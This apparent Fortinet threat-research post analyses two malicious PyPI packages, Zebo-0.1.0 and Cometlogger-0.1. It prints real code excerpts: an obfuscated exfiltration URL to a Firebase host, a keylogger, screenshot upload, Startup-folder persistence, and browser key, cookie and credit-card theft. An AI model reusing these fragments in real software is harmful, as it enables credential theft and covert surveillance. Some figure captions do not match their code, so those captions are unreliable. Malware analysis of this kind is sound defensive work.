

Analyzing Malicious Intent in Python Code: A Case Study

By Jenna Wang | December 23, 2024

Affected platforms: All platforms where PyPI packages can be installed
Impacted parties: Any individuals or institutions that have these malicious packages installed
Impact: Leak of credentials, sensitive information, etc.
Severity level: High

Fortinet's AI-driven OSS malware detection system recently identified two malicious packages: Zebo-0.1.0 on November 16, 2024, and Cometlogger-0.1 on November 24, 2024. Malicious software often masquerades as legitimate code, hiding its harmful features behind complex logic and obfuscation. In this analysis, we examine the Python scripts behind these two packages, outline their malicious behaviors, and provide insights into their potential impact.

The Zebo-0.1.0 script is a typical example of malware, with functions designed for surveillance, data exfiltration, and unauthorized control. It uses libraries like pynput and ImageGrab, along with obfuscation techniques, indicating clear malicious intent.

The Cometlogger-0.1 script also shows **signs of malicious behavior**, including dynamic file manipulation, webhook injection, stealing information, and anti-VM checks.

1. Overview of the Code for Zebo-0.1.0

Zebo-0.1.0 is structured to perform various tasks that violate user privacy and security. Its main components include:

- Obfuscation:** bypass detection mechanisms
- Keylogging:** Capturing every keystroke typed by the user.
- Screen Capturing:** Periodic screenshots of the user's desktop.
- Data Exfiltration:** Uploading sensitive information (keystrokes, screenshots, etc.) to a remote server.

Obfuscation:

Using obfuscation intentionally hides the true functionality, making it harder for users or security systems to understand what the code is doing. In this example, if the script or its components are obfuscated, it could hide malicious behavior, such as unauthorized data collection or system manipulation. Obfuscation can also be used to bypass security measures, potentially allowing malware to run undetected, which poses serious risks to both the user's privacy and system integrity.

The code uses hex-encoded strings (e.g., `\x68\x74\x74...`) to hide the URL of the server it communicates with. It employs a command and control mechanism via HTTP requests to a remote server, which is used to manage the malware's behavior and collect stolen data. This obfuscation is a clear sign of malicious intent, as it seeks to bypass detection mechanisms during code review or automated scans.

```
24
25  fu = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x72\x6f\x6a\x65\x63\x74\x2d\x72\x75\x6e\x6e
26  \x6e\x65\x72\x2d\x64\x65\x66\x61\x75\x6c\x74\x2d\x72\x74\x64\x62\x2e\x66\x69\x72\x65
27  \x62\x61\x73\x65\x6f\x2e\x63\x6f\x6d\x2f'
28  os.makedirs('files', exist_ok=True)
```

Figure 1: Decoded, this resolves to a Firebase database URL (<https://project-runner-default-rtdb.firebaseio.com/>), used for data exfiltration.

```
def handle_screenshot_interval():
    os.makedirs(screenshot_folder, exist_ok=True)
    while True:
        try:
            response = requests.get(fu + command_path)
            if response.status_code == 200:
                command_data = response.json()

                if command_data is None:
                    command_data = {'ss_count': 0, 'log_upload': True}
                elif 'ss_count' not in command_data:
                    command_data['ss_count'] = 0
                    command_data['log_upload'] = True
```

Figure 2: interacts with a remote URL constructed from the variable fu (which contains a base URL) and the command_path (which refers to a specific path on the server). These requests appear to check for commands (command_data) and upload logs or screenshots to the server.

Keylogging

The use of the pynput library enables the script to log every keystroke made by the user. This feature is implemented through the following functions:

```
def start_listener():
    with Listener(on_press=write_to_file) as listener:
        listener.join()
```

Figure 3: Data Storage: Keystrokes are stored in files/system-files.txt, a local log file, before being uploaded to the remote server.

Screen Capturing

Screen capturing can secretly record the user's screen, potentially violating their privacy and leading to unauthorized access to sensitive information. In the provided code, the post-installation script could be used to implement such functionality, allowing an attacker to monitor the user's activities without their consent. This is considered malicious behavior, as it can be used to steal personal information or perform other harmful actions, and it can lead to significant security risks, including data breaches and legal consequences.

```
def periodic_screenshots():
    os.makedirs(screenshot_folder, exist_ok=True)
    while True:
        timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
        screenshot_path = os.path.join(
            screenshot_folder, f"{hostname}_{timestamp}.png")
        try:
            screenshot = ImageGrab.grab()
            screenshot.save(screenshot_path)
            upload_image_to_imgbb(screenshot_path)
            os.remove(screenshot_path)
        except Exception as e:
            pass
        time.sleep(3600)
```

Figure 4: Screenshots are saved locally in the folder C:\\system-logs\\systemss. These are uploaded to <https://api.imgbb.com/1/upload> using an API key fetched from the remote server.

Data Exfiltration

Using data exfiltration in this code is dangerous because it involves secretly collecting and transferring sensitive data from the user's system without their knowledge or consent. The post-installation script (i_am_cute()) can be used for unauthorized data access, potentially sending private information to a remote server. This could violate privacy, compromise security, and result in legal consequences for the software developer or distributor if the behavior is discovered, as it may be seen as a form of hacking or data theft.

Logs and screenshots are sent to a Firebase database, exposing the user's sensitive data to unauthorized parties. This is executed through HTTP PUT requests:

```

with open(log_file, 'r') as file:
    file_data = file.read()
    data_to_upload = {'runner': file_data}

try:
    response = requests.put(fu+db_path, json=data_to_upload)
    if response.status_code == 200:
        with open(log_file, 'w') as file:
            file.truncate(0)
            add_new_log_marker()
            return True
    else:
        return False
except requests.exceptions.RequestException as e:
    return False

```

Figure 5: If successful, the script clears the local log files to avoid detection.

Persistence Mechanism

1. **Security Concerns:** The post-installation script is executed automatically, which can be exploited by attackers to run malicious code without the user's consent. If the script is compromised, it could install malware or steal sensitive data.
2. **Unauthorized Modifications:** Embedding a persistence mechanism in the installation process makes it difficult for users to track and control what happens after installation. This could lead to unwanted changes in the system or software behavior.
3. **Hard-to-Detect Malicious Behavior:** Since the script is executed silently after installation, users may not be aware of what is running on their system. This lack of transparency increases the risk of hidden backdoors, which are difficult to detect and mitigate.

To ensure it runs every time the system starts, the malware:

```

288 def i_am_cute():
289     pythonw_path = os.path.join(os.path.dirname(sys.executable), "pythonw.exe")
290     python_file_name = "system-log.pyw"
291     batch_file_name = "start.bat"
292
293     startup_folder = os.path.join(os.environ["APPDATA"], "Microsoft\\Windows\\Start Menu\\Programs\\Startup")
294     systempy_folder = "C:\\system-logs"
295     python_script_dest = os.path.join(systempy_folder, python_file_name)
296     batch_file_path = os.path.join(startup_folder, batch_file_name)
297
298     if not os.path.exists(systempy_folder):
299         os.makedirs(systempy_folder)
300         os.chdir(systempy_folder)
301
302     with open(python_script_dest, "w") as file:
303         file.write(python_code)
304

```

Figure 6: Creates a Python script (system-log.pyw) in C:\\system-logs. Generates a batch file (start.bat) in the Windows Startup folder to launch the script.

2. Overview of the Code for Cometlogger-0.1

The code provided raises several red flags indicative of potential malicious activity.

Webhook Manipulation: The code dynamically requests a "webhook" from the user and embeds it into Python files like `Comet.py` and `Exela.py`.

Information Theft: Steals tokens, passwords, and accounts from various platforms (Discord, Steam, Instagram, Twitter, etc.)

Anti-VM Detection: Virtualization environments to evade analysis or sandboxing.

Dynamic File Modification: The scripts modify Python files at runtime, a method that can enable malicious code injection for exploitation during execution.

Persistence: Maintain long-term presence on the victim's system.

Webhook Injection

Security Risks: Injecting a webhook URL directly into the code allows for potential manipulation by unauthorized users, opening the door to malicious attacks. If attackers alter the webhook URL, it could redirect sensitive data to malicious servers, compromising security.

Data Integrity: Allowing dynamic changes to webhooks during runtime can result in unintentional modifications, leading to incorrect or inconsistent data being sent. This could affect the system's functionality and lead to miscommunication between services.

Malicious Exploitation: By hardcoding the webhook injection in multiple places, this approach can be exploited to execute malicious code.

Since the code can be easily modified and reused, attackers could send harmful payloads through the webhook, potentially damaging systems or stealing data.

The script repeatedly prompts users for a webhook, dynamically injecting it into files

Injected webhooks could:

- Send sensitive information to a remote server.

- Facilitate command-and-control (C2) operations, allowing an attacker to issue commands remotely.

```
67 choice = input("                Selection : ")
68
69 if choice == "1":
70
71     hook = input("Webhook:."),
72     time.sleep(2)
73
74     Write.Print("Building...", Colors.red_to_purple)
75     time.sleep(7)
76     print("\nSucessfully built! Check folder!"),
77
78     input(ayo)
79
```

Figure 7: Enable remote attackers to issue commands and transmit sensitive information to a remote server.

Information Theft:

The script from comet.py poses significant risks by violating user privacy through the collection of saved passwords, session cookies, and browsing history, which can be exploited to impersonate users, steal financial data, or compromise accounts. For organizations, this malware threatens unauthorized access to corporate accounts and data breaches, potentially leading to severe legal and financial consequences. Additionally, by targeting cookies from platforms like Instagram, TikTok, and Twitter, it enables account hijacking for spam, scams, or identity theft.

```
class Variables:
    Passwords = list()
    Cards = list()
    Cookies = list()
    Historys = list()
    Downloads = list()
    Autofills = list()
    Bookmarks = list()
    Wifis = list()
    SystemInfo = list()
    ClipBoard = list()
    Processes = list()
    Network = list()
    FullTokens = list()
    ValidatedTokens = list()
    DiscordAccounts = list()
    SteamAccounts = list()
    InstagramAccounts = list()
    TwitterAccounts = list()
    TikTokAccounts = list()
    RedditAccounts = list()
    TwtichAccounts = list()
    SpotifyAccounts = list()
    RobloxAccounts = list()
    RiotGameAccounts = list()
```

Figure 8: Sensitive Data Categories to Steal from Comet.py

```

@staticmethod
def GetKey(FilePath:str) -> bytes:
    with open(FilePath,"r", encoding= "utf-8", errors= "ignore") as file:
        jsonContent: dict = json.load(file)

        encryptedKey: str = jsonContent["os_crypt"]["encrypted_key"]
        encryptedKey = base64.b64decode(encryptedKey.encode())[5:]

        return SubModules.CryptUnprotectData(encryptedKey)

```

Figure 9: Decryption of Encrypted Credentials, Extract and decrypt encryption key from browser files.

```

class StealSystemInformation:
    async def FunctionRunner(self) -> None:
        try:
            tasks = [
                asyncio.create_task(self.StealSystemInformation()),
                asyncio.create_task(self.StealWifiInformation()),
                asyncio.create_task(self.StealProcessInformation()),
                asyncio.create_task(self.StealNetworkInformation()),
                asyncio.create_task(self.StealLastClipboard()),
            ]

```

Figure 10: Collect detailed system information using shell commands.

```

def list_profiles(self) -> None:
    directories = {
        'Google Chrome': os.path.join(self.LocalAppData, "Google", "Chrome", "User Data"),
        'Opera' : os.path.join(self.RoamingAppData, "Opera Software", "Opera Stable"),
        'Opera GX' : os.path.join(self.RoamingAppData, "Opera Software", "Opera GX Stable"),
        'Brave' : os.path.join(self.LocalAppData, "BraveSoftware", "Brave-Browser", "User Data"),
        'Edge' : os.path.join(self.LocalAppData, "Microsoft", "Edge", "User Data"),
    }
    for junk, directory in directories.items():
        if os.path.isdir(directory):
            if "Opera" in directory:
                self.profiles_full_path.append(directory)
            else:
                for root, folders, files in os.walk(directory):
                    for folder in folders:
                        folder_path = os.path.join(root, folder)
                        if folder == 'Default' or folder.startswith('Profile') or "Guest Profile" in folder:
                            self.profiles_full_path.append(folder_path)

```

Figure 11: Scans common browser data directories and identifies profile folders. By targeting "Default" and "Profile" folders, it ensures access to primary user data.

```

async def kill_browsers(self):
    process_names = ["chrome.exe", "opera.exe", "edge.exe", "firefox.exe", "brave.exe"]
    process = await asyncio.create_subprocess_shell(
        'tasklist',
        stdout=asyncio.subprocess.PIPE,
        stderr=asyncio.subprocess.PIPE
    )

```

Figure 12: Malware aiming to ensure unrestricted file access, disrupting user activity and bypassing file locks.

```

async def GetFirefoxCookies(self) -> None:
    try:
        for files in self.FirefoxFilesFullPath:
            if "cookie" in files:
                database_connection = sqlite3.connect(files)
                cursor = database_connection.cursor()
                cursor.execute('SELECT host, name, path, value, expiry FROM moz_cookies')
                twitch_username = None
                twitch_cookie = None
                cookies = cursor.fetchall()
                for cookie in cookies:
                    self.FirefoxCookieList.append(f'{cookie[0]}\t{cookie[1]}\t{cookie[2]}\t{cookie[3]}\t{cookie[4]}\n')
                    if "instagram" in str(cookie[0]).lower() and "sessionid" in str(cookie[1]).lower():
                        asyncio.create_task(self.InstagramSession(cookie[3], "Firefox"))
                    if "tiktok" in str(cookie[0]).lower() and str(cookie[1]) == "sessionid":
                        asyncio.create_task(self.TikTokSession(cookie[3], "Firefox"))
                    if "twitter" in str(cookie[0]).lower() and str(cookie[1]) == "auth_token":
                        asyncio.create_task(self.TwitterSession(cookie[3], "Firefox"))
                    if "reddit" in str(cookie[0]).lower() and "reddit_session" in str(cookie[1]).lower():
                        asyncio.create_task(self.RedditSession(cookie[3], "Firefox"))
                    if "spotify" in str(cookie[0]).lower() and "sp_dc" in str(cookie[1]).lower():
                        asyncio.create_task(self.SpotifySession(cookie[3], "Firefox"))

```

Figure 13: Extract cookies related to major platforms (Instagram, TikTok, Spotify) from Firefox's SQLite database.

```

async def GetFirefoxHistory(self) -> None:
    try:
        for files in self.FirefoxFilesFullPath:
            if "places" in files:
                database_connection = sqlite3.connect(files)
                cursor = database_connection.cursor()
                cursor.execute('SELECT id, url, title, visit_count, last_visit_date FROM moz_places')
                histories = cursor.fetchall()
                for history in histories:
                    self.FirefoxHistoryList.append(f'ID: {history[0]}\nURL: {history[1]}\nTitle: {history[2]}\nVisit Count: {history[3]}\n\n')
                    Last Visit Time: {history[4]}\n\n')
    except:
        pass
    else:
        self.Firefox = True

```

Figure 14: Access browsing history for surveillance or profiling. Combined with cookies, this data could be used for identity theft, phishing, or behavioral analysis.

```

async def FunctionRunner(self):
    print("[+] Anti Debugging Started.")
    taskk = [asyncio.create_task(self.check_system()),
              asyncio.create_task(self.kill_process())]
    await asyncio.gather(*taskk)
    print(f"[+] Anti Debug Successfully Executed.")

```

Figure 15: By asynchronously executing tasks, the script maximizes efficiency, stealing large amounts of data in a short time.

```

for files in self.FirefoxFilesFullPath:
    if "formhistory" in files:
        database_connection = sqlite3.connect(files)
        cursor = database_connection.cursor()
        cursor.execute("select * from moz_formhistory")
        autofills = cursor.fetchall()
        for autofill in autofills:
            self.FirefoxAutofillList.append(f"{autofill}\n")

```

Figure 16: The stolen data is appended to a list for potential exploitation, indicating a clear breach of user confidentiality.

```

database_connection = sqlite3.connect(copied_file_path)
cursor = database_connection.cursor()
cursor.execute('select card_number_encrypted, expiration_year, expiration_month, name_on_card from credit_cards')
cards = cursor.fetchall()

```

Figure 17: By decrypting the Web Data file, the malware extracts card numbers, expiration dates, and cardholder names.

```

@staticmethod
def GetKey(FilePath:str) -> bytes:
    with open(FilePath,"r", encoding= "utf-8", errors= "ignore") as file:
        jsonContent: dict = json.load(file)

        encryptedKey: str = jsonContent["os_crypt"]["encrypted_key"]
        encryptedKey = base64.b64decode(encryptedKey.encode())[5:]

        return SubModules.CryptUnprotectData(encryptedKey)

```

Figure 18: The GetWallets function targets cryptocurrency wallet extensions and local storage to extract wallet files, enabling attackers to control digital assets.

Anti-VM Detection & Fake Error Message

Attackers often use anti-VM techniques to identify if their code is running in a sandbox or virtual machine, commonly used by researchers or security tools. The code checks for common virtualization indicators such as "VMware" and "VirtualBox". If such indicators are found, the code terminates execution to avoid detection. This allows attackers to bypass security monitoring in controlled environments.

The Fake Error Message can trick users into running the malware code.

```

@staticmethod
def create_mutex(mutex_value) -> bool:
    kernel32 = ctypes.windll.kernel32 #kernel32.dll
    mutex = kernel32.CreateMutexA(None, False, mutex_value) # creating mutex
    return kernel32.GetLastError() != 183 # return if the mutex created successfully or not

```

Figure 19: Prevents the malware from running in virtual environments.

```

FakeError = (bool("%fake_error%"), ("System Error", "The Program can't start because api-ms-win-crt-runtime-l1-1-0.dll \
is missing from your computer. Try reinstalling the program to fix this problem", 0))

```

Figure 20: Fake error messages to trick the user into running the malware.

Dynamic File Modification

Security Concerns: The code modifies files based on user inputs, potentially altering sensitive data like webhooks. This opens the door for malicious exploitation if an attacker provides malicious input or manipulates the file content.

Data Integrity Risks: The use of replace operations without validation can lead to unintentional changes or corruption of files, especially if the files are being used by other processes or applications concurrently.

Malware Risks: The integration with UPX, which compresses executables, raises concerns regarding the execution of malicious code. The UPX tool is commonly used to obfuscate malware, making it harder for security tools to detect it.

The code modifies external files (Comet.py and Exela.py) without verifying their content or purpose:

```

117
118 def WriteSettings(self) -> None:
119     with open("Exela.py", "r", encoding="utf-8", errors="ignore") as file:
120         data = file.read()
121         data.replace("%WEBHOOK%", str(self.webhook))
122 while True:
123     clear()
124     logo()
125     main()
126

```

Figure 21: Such unsupervised alterations can compromise the integrity of legitimate files, enabling unauthorized actions or backdoors.

Use of UPX (Ultimate Packer for Executables)

Security Risks: UPX can obfuscate the code, making it harder for security tools to analyze the executable. This could lead to undetected malicious behavior if used in malicious software.

Compatibility Issues: UPX compression might cause problems with certain antivirus software or system configurations, as some security tools may flag compressed executables as suspicious, leading to false positives.

Performance Impact: While UPX reduces file size, the decompression at runtime could introduce delays, affecting the performance of the application, especially if it's used excessively in critical areas of the code.

The frequent invocation of utils/upx.exe using subprocess.call is highly suspicious:

```

25 def WriteSettings(self) -> None:
26     with open("Comet.py", "r", encoding="utf-8", errors="ignore") as file:
27         data = file.read()
28         data.replace("%WEBHOOK%", str(self.webhook))
29
30
31 Anime.Fade(Center.Center(intro), Colors.purple_to_red, Colorate.Vertical, interval=0.035, enter=True) ,
32 call("START-utils/upx.exe", shell=True)
33
34 ayo = "Press enter to go back to menu"
35

```

Figure 22: If upx.exe is tampered with, it could pack malware into executables, hiding them from antivirus software.

Persistence

Continuous exception loops can lead to several problems, such as consuming excessive CPU resources, causing system freezes, and degrading performance. They may also obscure the root cause of the issue, making debugging more difficult. If exceptions are raised without proper handling, the program becomes unresponsive and harder to maintain.

The script employs an infinite loop to persist in the user's environment:

```

118
119 def WriteSettings(self) -> None:
120     with open("Exela.py", "r", encoding="utf-8", errors="ignore") as file:
121         data = file.read()
122         data.replace("%WEBHOOK%", str(self.webhook))
123 while True:
124     ...clear()
125     ...logo()
126     ...main()
127

```

Figure 23: Prevent the user from terminating the script easily. Obscure malicious activities running in the background.

```

webhook = '%WEBHOOK%'
discord_injection = bool("%injection%")
startup_method = "%startup_method%".lower()
Anti_VM = bool("%Anti_VM%")

```

Figure 24: Deploy additional malicious components to exploit vulnerabilities.

Recommendations

Disconnect from the Internet: Immediately isolate the infected system to prevent further data exfiltration.

Run Antivirus Tools: Use reputable antivirus software to detect and remove the malware.

Reformat the System: If the infection persists, reformat the system and reinstall the OS.

For Prevention

- Code Review:** Always verify third-party scripts and executables before running them.
- Network Monitoring:** Implement firewalls and intrusion detection systems to identify suspicious network activity.
- Education:** Train users to recognize phishing attempts and avoid executing unverified scripts.

Conclusion

This malicious Python script (Zebo-0.1.0) is a textbook example of malware, exhibiting functionalities designed for surveillance, data exfiltration, and unauthorized control. Its sophisticated use of libraries like pynput and ImageGrab, coupled with obfuscation techniques, demonstrates a clear intent to harm or exploit users. Such scripts highlight the importance of cybersecurity awareness and robust defensive measures.

The script (Cometlogger-0.1) exhibits several hallmarks of malicious intent, including dynamic file manipulation, webhook injection, steal information, ANTI-VM. While some features could be part of a legitimate tool, the lack of transparency and suspicious functionality make it unsafe to execute. Always scrutinize code before running it and avoid interacting with scripts from unverified sources.

Fortinet Protections

FortiGuard AntiVirus detects the malicious files identified in this report as

```
zebo_0.1.0: Python/Agent.BZ!tr
runner.py:Python/Agent.BZ!tr
Cometlogger_0.1: Python/Agent.APQ!tr
comet.py: Python/Agent.APQ!tr
```

The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR. Customers running current AntiVirus updates are protected.

The **FortiGuard Web Filtering** Service detects and blocks the download URLs cited in this report as Malicious.

The **FortiDevSec** SCA scanner detects malicious packages, including those cited in this report that may operate as dependencies in users' projects in test phases, and prevents those dependencies from being introduced into users' products.

If you believe these or any other cybersecurity threat has impacted your organization, please contact our **Global FortiGuard Incident Response Team**.

IOCs

Package/file name	Sha256	Detection
Zebo_0.1.0	4aeb0211bd6d9e7c74c09ac67812465f2a8e90e25fe04b265b7f289deea5db21	Python/Agent.BZ!tr
zebo_0.1.0/runner.py	4aeb0211bd6d9e7c74c09ac67812465f2a8e90e25fe04b265b7f289deea5db21	Python/Agent.BZ!tr
cometlogger_0.1	839d0cfcc52a130add70239b943d8c82c4234b064d6f996eeaae142f05cc9e85	Python/Agent.APQ!tr
cometlogger_0.1/comet.py	e01c61dc52514b011c83c293cf19092c40cb606a28a87675b4f896be5afebed2	Python/Agent.APQ!tr

Related Posts

THREAT RESEARCH

Debugging PostScript with Ghostscript

THREAT RESEARCH

Python-Based Malware Uses NSA Exploit to Propagate Monero (XMR) Miner

THREAT RESEARCH

Possible New BadPatch Campaign Uses Multi-Component Python Compiled Malware

News & Articles

- News Releases
- News Articles

Security Research

- Threat Research
- FortiGuard Labs
- Threat Map
- Ransomware Prevention

Connect With Us

- Fortinet Community
- Partner Portal
- Investor Relations
- Product Certifications

Company

- About Us
- Exec Mgmt
- Careers
- Training
- Events
- Industry Awards
- Social Responsibility
- CyberGlossary
- Sitemap
- Blog Sitemap

Also of Interest:

Malicious Packages Hidden in PyPI

Info Stealing Packages Hidden in PyPI

Fortinet Identifies Malicious Packages in the...

Malicious Packages Across Open-Source...